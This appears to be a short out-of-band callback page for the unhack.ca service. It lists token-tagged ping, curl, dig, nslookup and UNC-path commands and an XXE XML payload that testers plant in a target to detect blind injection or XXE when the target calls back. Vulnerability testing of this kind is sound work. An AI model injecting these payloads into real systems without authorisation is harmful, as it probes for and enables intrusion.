$ ping -c1 -p 0092d8ee6a3b984b5f1b75a9439fcb00 unhack.ca
$ curl http://unhack.ca/p/92d8ee6a3b984b5f1b75a9439fcb
$ dig 92d8ee6a3b984b5f1b75a9439fcb @unhack.ca
$ dig 92d8ee6a3b984b5f1b75a9439fcb.ns.unhack.ca
C:\> nslookup 92d8ee6a3b984b5f1b75a9439fcb unhack.ca
C:\> type \\unhack.ca\92d8ee6a3b984b5f1b75a9439fcb\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/92d8ee6a3b984b5f1b75a9439fcb">]>
<foo>&xxe;</foo>
Waiting for ping...